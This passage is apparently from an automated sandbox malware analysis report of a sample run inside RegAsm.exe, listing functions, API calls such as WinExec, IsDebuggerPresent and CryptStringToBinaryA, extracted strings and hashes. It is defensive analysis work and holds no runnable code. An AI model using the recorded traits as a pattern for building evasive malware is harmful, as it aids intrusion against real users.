TerminateProcess.KERNEL32(00000000,?,0044871D,?,004484FD,?,?,57C18905,004484FD,?), ref: 00448654
ExitProcess.KERNEL32 ref: 00448666

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 36f20cdb40a6365f6a35a51bb77a357cd5f2c13e6c28b9ba1ae9a1788b24a786
Instruction ID: 011604cc9f8bce72eb5370ed3d7a49483fe6259b68f194f09ab62ed9a64113b7
Opcode Fuzzy Hash: 36f20cdb40a6365f6a35a51bb77a357cd5f2c13e6c28b9ba1ae9a1788b24a786
Instruction Fuzzy Hash: 64D09E71D00108BFDF413F65DC0D85D3F69AF54346B454029F9194A132DF7599919A49

Uniqueness

Uniqueness Score: -1.00%

Function 0041EFCA Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041F1EE: _strlen.LIBCMT ref: 0041F261
Part of subcall function 0041F1EE: _strlen.LIBCMT ref: 0041F275
Part of subcall function 0041F1EE: _strlen.LIBCMT ref: 0041F2DE
Part of subcall function 0041F1EE: _strlen.LIBCMT ref: 0041F2F2

Part of subcall function 0041F1EE: _strlen.LIBCMT ref: 0041F34F
Part of subcall function 0041F1EE: _strlen.LIBCMT ref: 0041F363

Part of subcall function 0041F383: _strlen.LIBCMT ref: 0041F3F7
Part of subcall function 0041F383: _strlen.LIBCMT ref: 0041F40B

_strlen.LIBCMT ref: 0041F17A

Strings

rIwhoU--Elvin, xrefs: 0041F119

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: rIwhoU--Elvin
API String ID: 4218353326-1238494058
Opcode ID: 6b8eca788617771dc9bc00e1a9457be2d11ed5571c5f66fb9f41e5696890340e
Instruction ID: 6beb1251bc2b7468a43d14c5fe1f089c415b1b9a9cc3565ad7136f47d6dd359c
Opcode Fuzzy Hash: 6b8eca788617771dc9bc00e1a9457be2d11ed5571c5f66fb9f41e5696890340e
Instruction Fuzzy Hash: 7B5194B5501240BFD301EF25EC41EAB7BACEF5A308F444469F85887312F775AA19CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00422919 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationW.KERNEL32(C:\,00000000,00000000,?,00000000,00000000,00000000,00000000,8681AF85,?,00424097), ref: 0042292D

Strings

C:\, xrefs: 00422928

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID: C:\
API String ID: 2039140958-3404278061
Opcode ID: 97c22a736139e3911d92e50279b4b2d161076827c1acffce5e3a0f6afb6726f9
Instruction ID: a7167dd5f6dcaca79aa8bae8c2332e0e10afd782a6877a38d487df3357db5a74
Opcode Fuzzy Hash: 97c22a736139e3911d92e50279b4b2d161076827c1acffce5e3a0f6afb6726f9
Instruction Fuzzy Hash: D0D002F1A11221BFB2609F29AC49DB77ADCEA496607190469BC89C2240E1A05D94CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 00457A3A Relevance: 3.0, APIs: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32(?,0044A011), ref: 00457A3D
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,0044A011), ref: 00457A7C

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: 2b0685727c8171de773814f91d602a620f67dd648ccb32de6df32e5c1d7f1495
Instruction ID: 18535471c04b116fd5b6d97432ef9d3e82689ee57d6b51c3cd61f3382a8d7378
Opcode Fuzzy Hash: 2b0685727c8171de773814f91d602a620f67dd648ccb32de6df32e5c1d7f1495
Instruction Fuzzy Hash: ABE09B67A09A2137E211363A7C499AF1A5ACFC277AB15013BFC1056283EE594E0641BE

Uniqueness

Uniqueness Score: -1.00%

Function 004529A4 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00455CE1,?,00000000,?,?,00455BFD,?,00000007,?,?,00456339,?,?), ref: 004529BA
GetLastError.KERNEL32(?,?,00455CE1,?,00000000,?,?,00455BFD,?,00000007,?,?,00456339,?,?), ref: 004529C5

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 0b82ea54d05a3f1ee944c50458815860b2ea8dd86904ec07870acde344d2c05b
Instruction ID: 0eda7edd8cad29e357ae79bfd7352963475fa98f26119a2b20a35611bd27aa5f
Opcode Fuzzy Hash: 0b82ea54d05a3f1ee944c50458815860b2ea8dd86904ec07870acde344d2c05b
Instruction Fuzzy Hash: 6AE08672601304AFDB112BA2EC087577A58AB44755F104027F60896262D6788D9497DC

Uniqueness

Uniqueness Score: -1.00%

Function 0041B45A Relevance: 1.8, APIs: 1, Instructions: 313COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0041B497

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: a93c30bf499882d887e73c67cb5297d985ab7c98187a8097f315520f267f486f
Instruction ID: bdd3f0ccfc96f7e296aba8c377e3d23e5b97ac7cffbdbc0f95cf6837d9e88221
Opcode Fuzzy Hash: a93c30bf499882d887e73c67cb5297d985ab7c98187a8097f315520f267f486f
Instruction Fuzzy Hash: 7FC1FAB1A05B009FD724DF2AC88066BF7E5FF88714F14892EE5AA83790D774E844CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00431572 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00431605

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: DeleteObject
String ID:
API String ID: 1531683806-0
Opcode ID: d386a6f3c86037b41da7221441825155686cec61cde337f121622378e9b21ae7
Instruction ID: 27c0b2f9c7d22cb3b7c0b9e865ab8ba2c208abfa7b038a0302c47942df8cb4cf
Opcode Fuzzy Hash: d386a6f3c86037b41da7221441825155686cec61cde337f121622378e9b21ae7
Instruction Fuzzy Hash: E00156A5A0820177C6145B58D8454AF7BD0DBC8350F24982BF447C7375E129CC45DB5B

Uniqueness

Uniqueness Score: -1.00%

Function 0045B797 Relevance: 1.5, APIs: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004532EF: RtlAllocateHeap.NTDLL(00000000,004525E9,?,?,004525E9,00000220,?,?,?), ref: 00453321

RtlReAllocateHeap.NTDLL(00000000,?,00407493,778182B0,00002BFA,?,00407493,?,?), ref: 0045B7F4

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 893656418fcb7ad6d82adaf54530498189d0b7057a0ac4741378f42478481797
Instruction ID: ec6c4fbd0ce1f308f4f683eece0ae6c2026f7e97531aa2a066d39e4e901c4c73
Opcode Fuzzy Hash: 893656418fcb7ad6d82adaf54530498189d0b7057a0ac4741378f42478481797
Instruction Fuzzy Hash: 7AF0C8316011057BD7222A23EC45B6B2718DFC5BB7F11002BFC1496293EB2CD80991EE

Uniqueness

Uniqueness Score: -1.00%

Function 00454AB0 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00407D71,?,00451999,00000001,00000364,00407D71,00000006,000000FF,?,0044CAD6,?,0040103B,?,00000000), ref: 00454AF1

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 12a2a842729759fea2c48161febabcb296c15b5b2824023144b7cfaf729b0798
Instruction ID: 5e98d373e1e1f474a2c54cf50db67855681b7e13bf73b929c967896598654ceb
Opcode Fuzzy Hash: 12a2a842729759fea2c48161febabcb296c15b5b2824023144b7cfaf729b0798
Instruction Fuzzy Hash: 7AF0593568122477DBA29B239C01B1B3748AFC177EB154027FC05AF282CA68DC8983ED

Uniqueness

Uniqueness Score: -1.00%

Function 004532EF Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,004525E9,?,?,004525E9,00000220,?,?,?), ref: 00453321

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1f0db84fc47fc2ae10e562a5081a66fdd9b7a4443acd2dfb35c85110bfd68399
Instruction ID: 6c40969103cae06692a820334a9e74d192653667edfb4226e4dd7ec3d2c61166
Opcode Fuzzy Hash: 1f0db84fc47fc2ae10e562a5081a66fdd9b7a4443acd2dfb35c85110bfd68399
Instruction Fuzzy Hash: B4E0ED31601321A7EB222E669C00B5F7A489F823E7F150023FC14A62D3DE68CE0981EE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042DFE8 Relevance: 23.2, APIs: 8, Strings: 5, Instructions: 474stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(?,?), ref: 0042E0AA
lstrcatW.KERNEL32(?,?), ref: 0042E196
lstrcatW.KERNEL32(?,?), ref: 0042E42F
lstrcatW.KERNEL32(?,?), ref: 0042E437
lstrcatW.KERNEL32(?,?), ref: 0042E489
lstrcatW.KERNEL32(?,?), ref: 0042E491
lstrcatW.KERNEL32(?,?), ref: 0042E4EC

Strings

=9, xrefs: 0042E750
(y, xrefs: 0042E1C4
=9, xrefs: 0042E16D
=9, xrefs: 0042E162
)y, xrefs: 0042E1CF

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: (y$)y$=9$=9$=9
API String ID: 4038537762-2863778377
Opcode ID: 699dfa8de57b4e630f379f8f3af181bbebb7cf6e108238e2b8f4a1d17e4332ad
Instruction ID: a01d586738fab6d36dd311ac60379023b39767bbc3c0d047e88aa62bc877231a
Opcode Fuzzy Hash: 699dfa8de57b4e630f379f8f3af181bbebb7cf6e108238e2b8f4a1d17e4332ad
Instruction Fuzzy Hash: E302E4B1F002399BDF249B9AE8455BEBAB0BB14304FA44527E505F7350D3B98D428B8F

Uniqueness

Uniqueness Score: -1.00%

Function 0043D47B Relevance: 10.9, APIs: 1, Strings: 6, Instructions: 428stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,26CFC4F5), ref: 0043D728

Strings

Pcz, xrefs: 0043D4B0
xG%, xrefs: 0043D94B
xG%, xrefs: 0043D875
+', xrefs: 0043D4FB
Qcz, xrefs: 0043DA87
Qcz, xrefs: 0043D86A

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: +'$Pcz$Qcz$Qcz$xG%$xG%
API String ID: 1586166983-1734303390
Opcode ID: ad97e9d5edd009b0154bf96a5036f2167802bfe5b6ad1fa798ebf42c7e4577ef
Instruction ID: 78dcd21af2e934441e6f0f72bbb9ee940cfed6c9c5cd960a2e368182b7187c67
Opcode Fuzzy Hash: ad97e9d5edd009b0154bf96a5036f2167802bfe5b6ad1fa798ebf42c7e4577ef
Instruction Fuzzy Hash: 69F1E6B1D042058FDF24DFA9E69567EBBB0AB5C304F24692BD411EB354D338D9418B8B

Uniqueness

Uniqueness Score: -1.00%

Function 004385E8 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 191encryptionCOMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 004385F4
CryptStringToBinaryA.CRYPT32(?,?,00000001,00000000,?,00000000,00000000), ref: 004386D5
CryptStringToBinaryA.CRYPT32(?,?,00000001,?,?,00000000,00000000), ref: 0043882E

Strings

f)=, xrefs: 00438771
f)=, xrefs: 0043874E
f)=, xrefs: 004387F8

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: BinaryCryptString$_strlen
String ID: f)=$f)=$f)=
API String ID: 1460654939-3239493788
Opcode ID: 3768d0ba1d79f93974c98df71ae00ea1d33972123062a6bbdcb446aa48f17d87
Instruction ID: 67648f8f89f50bb548e9c5a368245b33285c31b206c0a0f73294f34fa6fbd83d
Opcode Fuzzy Hash: 3768d0ba1d79f93974c98df71ae00ea1d33972123062a6bbdcb446aa48f17d87
Instruction Fuzzy Hash: AE6108715083418FDB2C9F1988A693AF6E5AF8C310F14291FF0978B756EE298D40CB1B

Uniqueness

Uniqueness Score: -1.00%

Function 004539C4 Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00453A51

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a6632ade1995beb075dd88f61667e30aa9f1e077b41d4a83e1c0e8035da170e8
Instruction ID: d454fde4b0e431bc46012eeb63442076e03693121bf2b9da907b90a480b68ce7
Opcode Fuzzy Hash: a6632ade1995beb075dd88f61667e30aa9f1e077b41d4a83e1c0e8035da170e8
Instruction Fuzzy Hash: AAB14A729042459FDB168F68C8817EFBBA5EF45386F14816BEC41AB343C23D9E09C768

Uniqueness

Uniqueness Score: -1.00%

Function 0045673C Relevance: 6.1, APIs: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004567D7
FindNextFileW.KERNEL32(00000000,?), ref: 00456852
FindClose.KERNEL32(00000000), ref: 00456874
FindClose.KERNEL32(00000000), ref: 00456897

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: f25b88605f52710332cfae11e9b843b3a1a4fbba311c7e7e8da9d71ba93403b2
Instruction ID: 8b0da4b9bfc504da1d380c87494fb49714051dd50cc85109b86bfdf10fd8a82b
Opcode Fuzzy Hash: f25b88605f52710332cfae11e9b843b3a1a4fbba311c7e7e8da9d71ba93403b2
Instruction Fuzzy Hash: C241E871D011199FDF20EF65DC8C9ABB7B8EF4430AF5141EAE805D7141E7349E888B59

Uniqueness

Uniqueness Score: -1.00%

Function 0043E955 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0043E961
IsDebuggerPresent.KERNEL32 ref: 0043EA2D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0043EA4D
UnhandledExceptionFilter.KERNEL32(?), ref: 0043EA57

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 381a44997a6f57153f68903a917f027c39002164ad81e2409e84c2a85d1bf844
Instruction ID: 35b7e69d133bc725499141d598fbc0553dbff569e30cd22927b4a02c2121b63c
Opcode Fuzzy Hash: 381a44997a6f57153f68903a917f027c39002164ad81e2409e84c2a85d1bf844
Instruction Fuzzy Hash: 25312DB5D0621CDBDB20EF65DD897CDBBB8BF08344F1040AAE40DA7250EB745A888F45

Uniqueness

Uniqueness Score: -1.00%

Function 00456688 Relevance: 1.7, APIs: 1, Instructions: 158fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00454AB0: RtlAllocateHeap.NTDLL(00000008,00000000,00407D71,?,00451999,00000001,00000364,00407D71,00000006,000000FF,?,0044CAD6,?,0040103B,?,00000000), ref: 00454AF1

FindFirstFileExW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004567D7
FindNextFileW.KERNEL32(00000000,?), ref: 00456852
FindClose.KERNEL32(00000000), ref: 00456874

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$File$AllocateCloseFirstHeapNext
String ID:
API String ID: 2963102669-0
Opcode ID: 53a4970f0ea21eeb2e1aa2807180d6e4d91208a02a19ef0500c9f54cdf3ebf9f
Instruction ID: 6575ffb03d334438a4ec444ca5f8e836226271d413ba8502ee658bae3d2b0299
Opcode Fuzzy Hash: 53a4970f0ea21eeb2e1aa2807180d6e4d91208a02a19ef0500c9f54cdf3ebf9f
Instruction Fuzzy Hash: F3415876600209AFDB14AFA9CC859BFB36DEF8435EF55416FFC0593242EB389D088658

Uniqueness

Uniqueness Score: -1.00%

Function 0041D7E3 Relevance: 24.8, APIs: 3, Strings: 11, Instructions: 349fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041D990
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0041DAB6
CloseHandle.KERNEL32(?), ref: 0041DAC0

Strings

`wJl, xrefs: 0041C3F5
t^Xr, xrefs: 0041CAA3
s^Xr, xrefs: 0041C1E7
t^Xr, xrefs: 0041D6EA
qBhf, xrefs: 0041C42D
1&&i, xrefs: 0041C841
69XX, xrefs: 0041CD9B
_wJl, xrefs: 0041C3DF
[-/M, xrefs: 0041C43A
<, xrefs: 0041C71A
[-/M, xrefs: 0041C0F6

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID: 1&&i$69XX$<$[-/M$[-/M$_wJl$`wJl$qBhf$s^Xr$t^Xr$t^Xr
API String ID: 1065093856-280051200
Opcode ID: 885dfd0dfc23e53d5586b687a8bbb163712548c56f67b2fccf257f5eca458970
Instruction ID: 0e4d292689cfe946ab1050dcee9e216066ee5cd1885c82bfb41214e9cdfdfc58
Opcode Fuzzy Hash: 885dfd0dfc23e53d5586b687a8bbb163712548c56f67b2fccf257f5eca458970
Instruction Fuzzy Hash: ADC11AF1E083009BD7288F0C98556EE7AE4AB40714F25492FE4A9DB390D67CC9C59B9B

Uniqueness

Uniqueness Score: -1.00%

Function 00460803 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,004616EF), ref: 0046081C

Strings

asin, xrefs: 00460949
pow, xrefs: 004608BA, 00460964, 004609B1
sqrt, xrefs: 0046095B
uC, xrefs: 004608E6, 00460990, 004609D6
exp, xrefs: 0046089B, 00460900
acos, xrefs: 00460952
log10, xrefs: 0046085E, 0046086D
log, xrefs: 00460879, 00460888

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt$uC
API String ID: 3527080286-3203642613
Opcode ID: f16e9df3e327c4a47c3b048521f9b1b83bff4748b3070507c4a7938265b8e41a
Instruction ID: e0ca3da9a991257f9b30091a5541bf685b88736b1fd37591910fe8ee6827177d
Opcode Fuzzy Hash: f16e9df3e327c4a47c3b048521f9b1b83bff4748b3070507c4a7938265b8e41a
Instruction Fuzzy Hash: 24518EB0A00A0ADBEB149F69D9481AFBF75FB05314F108057D491A7215F77C899ACB8F

Uniqueness

Uniqueness Score: -1.00%

Function 00458DED Relevance: 13.8, APIs: 9, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00459299: CreateFileW.KERNEL32(00000000,00000000,?,00458E96,?,?,00000000,?,00458E96,00000000,0000000C), ref: 004592B6

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00458F01
__dosmaperr.LIBCMT ref: 00458F08
GetFileType.KERNEL32(00000000), ref: 00458F14
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00458F1E
__dosmaperr.LIBCMT ref: 00458F27
CloseHandle.KERNEL32(00000000), ref: 00458F47
CloseHandle.KERNEL32(00459CA3), ref: 00459094
GetLastError.KERNEL32 ref: 004590C6
__dosmaperr.LIBCMT ref: 004590CD

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 9c75e4ea69f1de327a1ee9192fa1f7ce69edf1773f4ea12bdd8e6b856d7a157e
Instruction ID: b3593fe5fd176021bb839290586ea033522097fb5ed7f3fbcd2c802d51f91fa6
Opcode Fuzzy Hash: 9c75e4ea69f1de327a1ee9192fa1f7ce69edf1773f4ea12bdd8e6b856d7a157e
Instruction Fuzzy Hash: 53A14532A141149FDF189F68DC52BAE3BA1AB0A325F14015EFC01EF392DB389D4AD749

Uniqueness

Uniqueness Score: -1.00%

Function 0045E9DF Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0045EAFE
CatchIt.LIBVCRUNTIME ref: 0045EC5D
_UnwindNestedFrames.LIBCMT ref: 0045ED5E
CallUnexpected.LIBVCRUNTIME ref: 0045ED79

Strings

csm, xrefs: 0045EA89
csm, xrefs: 0045EB35
csm, xrefs: 0045EA1C

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CallCatchFramesNestedUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2332921423-393685449
Opcode ID: 307687c2bf95f4793ebbb6ba3639b362139db8633acb6cc974bcf4c607f81f1a
Instruction ID: 76ba0b8fd835995c0a8fdb15a3f38207f390cdc0cf8ed4be3d414a1ba4d98901
Opcode Fuzzy Hash: 307687c2bf95f4793ebbb6ba3639b362139db8633acb6cc974bcf4c607f81f1a
Instruction Fuzzy Hash: D9B18B75800209EFCF29DFA6C9819AFB7B5BF04316B14405BEC056B213D339EA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041F383 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0041F3F7
_strlen.LIBCMT ref: 0041F40B
_strlen.LIBCMT ref: 0041F4EB
_strlen.LIBCMT ref: 0041F4FF
_strlen.LIBCMT ref: 0041F5E6
_strlen.LIBCMT ref: 0041F5FA

Strings

file, xrefs: 0041F468

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: file
API String ID: 4218353326-2359244304
Opcode ID: 46c5df542c07cedf630a06839910b65fd577a157e9201059638bf19e73625d9c
Instruction ID: 650e67a085a4ae7a19ea8171e4a38fad5c7c0a5c04cbc226620e1393fc25770c
Opcode Fuzzy Hash: 46c5df542c07cedf630a06839910b65fd577a157e9201059638bf19e73625d9c
Instruction Fuzzy Hash: 6981D7B6900211AFD710DF55EC82A577BB4EF59318B18446DFC489B303E234A955CBEB

Uniqueness

Uniqueness Score: -1.00%

Function 00431BB8 Relevance: 12.3, APIs: 8, Instructions: 299processfileCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00431C10
GetModuleHandleW.KERNEL32(00000000), ref: 00431C55
GetModuleFileNameA.KERNEL32(00000000,?,00000200), ref: 00431C65
CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 00431C7B
WinExec.KERNEL32 ref: 00431D19
CloseHandle.KERNEL32(?), ref: 00431E93
GetFileSizeEx.KERNEL32(?,?), ref: 00431FC6
ExitProcess.KERNEL32 ref: 00432087

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$HandleModuleProcess$CloseCreateCurrentExecExitNameSize
String ID:
API String ID: 3992844039-0
Opcode ID: 2052e1f72971bb33b1d50ba3aa614d502cfc9ae8472e57305392b68d2f276446
Instruction ID: d2da1656b6d0da2ae8ba17994311d3e41752677f13b2366e4fd01478c74c19f6
Opcode Fuzzy Hash: 2052e1f72971bb33b1d50ba3aa614d502cfc9ae8472e57305392b68d2f276446
Instruction Fuzzy Hash: B0B129B09007009BDB389F25CD85A27B6E4EB58714F109A2FE556C66F1E378F8058B6B

Uniqueness

Uniqueness Score: -1.00%

Function 00401CFF Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 395COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00401F1F

Strings

[,]{: }, xrefs: 00401E32
false, xrefs: 00401EAA
null, xrefs: 00401D2D
true, xrefs: 00401EA3
%1.17g, xrefs: 00401D7A

Memory Dump Source

Source File: 00000016.00000002.1121803053.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: %1.17g$[,]{: }$false$null$true
API String ID: 4218353326-762322047
Opcode ID: a5c252052bcb0491f776e6ef14947f4a9bd6010c39f943c73514e5bfa4adce70
Instruction ID: 76e9c130bd2493d05f383d8de23842c15a61669e225ce4d3f1d8dc90b9e9fbb8
Opcode Fuzzy Hash: a5c252052bcb0491f776e6ef14947f4a9bd6010c39f943c73514e5bfa4adce70
Instruction Fuzzy Hash: 4CC1D172B043025BD714AA2A8A4463BB1D69FD4344F19453FEE49E73D2FBB9DC01829A

Uniqueness

